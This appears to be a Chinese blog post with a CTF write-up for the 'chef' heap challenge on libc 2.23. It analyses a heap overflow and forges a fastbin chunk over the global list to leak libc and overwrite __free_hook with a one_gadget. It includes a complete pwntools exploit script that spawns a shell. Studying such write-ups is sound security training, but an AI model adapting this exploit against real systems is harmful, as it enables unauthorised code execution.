libc2.23的堆学习

发布时间 2023-06-30 17:13:00作者: Sta8r9

堆学习libc2.23

chef*

​ ——堆溢出伪造fake chunk,修改free_hook为og(libc2.23-0ubuntu11.3_amd64)

检查:

img

ida分析:

主程序是一个菜单,但是有点假,只是打印了一些字符串,没有什么实际的操作,直接进入选项4。

img

这个菜单实现了堆操作增删改查。
img

​ add函数,有一个if判断,这限制了最多只能申请49个堆块。申请堆块的大小是可控的,在申请后还能写入数据,并且在数据末尾补上0,并把申请堆块的大小记录在bss段的<foodlist>的第一个内存单元,堆块指针放在第二个内存单元,ida这里显示有点错误(图中红框处应该是1而不是2),最后把堆块计数器num加1

img

​ edit函数,堆块计数器num不为零时可以进行edit操作,输入堆块索引,在<foodlist>找对应的堆块指针,输入所要输入数据的大小,输入数据,并且程序会在数据末尾补上0。

img

​ free函数,当堆块计数器不为0的时候可以进行free操作,输入索引,free之后会把<foodlist>中的堆块指针和大小置0,不存在UAF漏洞

img

​ show函数,程序计数器不为0时可以进行打印操作,将<foodlist>中所以堆块的数据区打印出来。

img

漏洞利用:

​ <foodlist>的权限是很大的,实现了对所有堆块的控制,程序存在一个堆溢出漏洞,可以用来修改空闲堆块的fd指针。

​ 解题思路是利用堆溢出修改空闲堆块的fd指针为<foodlist>,将它作为堆块申请出来,向其中写入一个got表地址再show以泄露libc,再向该堆块<foodlist>写入free_hook地址,这样程序就认为free_hook也是一个堆块,可以向其中写入og。

EXP

from tools import *
context(log_level="debug",arch="amd64",os="linux")
p,elf,libc=load("chef")
p.sendafter("choice:","4")

def add(size,context):
    p.sendafter("choice:","2")
    p.sendafter("Please enter the price of food:",str(size))
    p.sendafter("Please enter the name of food:",context)
def delete(idx):
    p.sendafter("choice:","4")
    p.sendafter("Please enter the index of food:",str(idx))
def edit(idx,size,context):
    p.sendafter("choice:","3")
    p.sendafter('Please enter the index of food:',str(idx))
    p.sendafter('Please enter the price of food :',str(size))
    p.sendafter("Please enter the name of food:",context)
def show():
    p.sendafter("choice:","1")
#debug(p,0x00000400D2A,0x000000400FC0,0x0000000400E96,0x0000000400CB9) 
#泄露libc,申请控制堆块
add(0x40,"////") #这里申请一个0x40而不是全部申请0x30是为了绕过malloc对fastbin堆块的size域的检查
add(0x30,"a")
delete(1)
edit(0,0x58,p64(0)*9+p64(0x41)+p64(0x6020a0-8))
add(0x30,"//")
add(0x30,p64(0x602030))
show()
libc_base=recv_libc()-0x55810
log_addr("libc_base")
free_hook=0x3c67a8+libc_base
log_addr("free_hook")
#改free_hook为 og
og=[0x45226,0x4527a,0xf03a4,0xf1247]
pwn=og[1]+libc_base
edit(2,0x10,p64(free_hook))
edit(0,0x10,p64(pwn))
#getshell
delete(2)

p.interactive()

img

题目附件:

链接:https://pan.baidu.com/s/1qO-LhPGdHp5KUs1Ro-78Ag?pwd=1234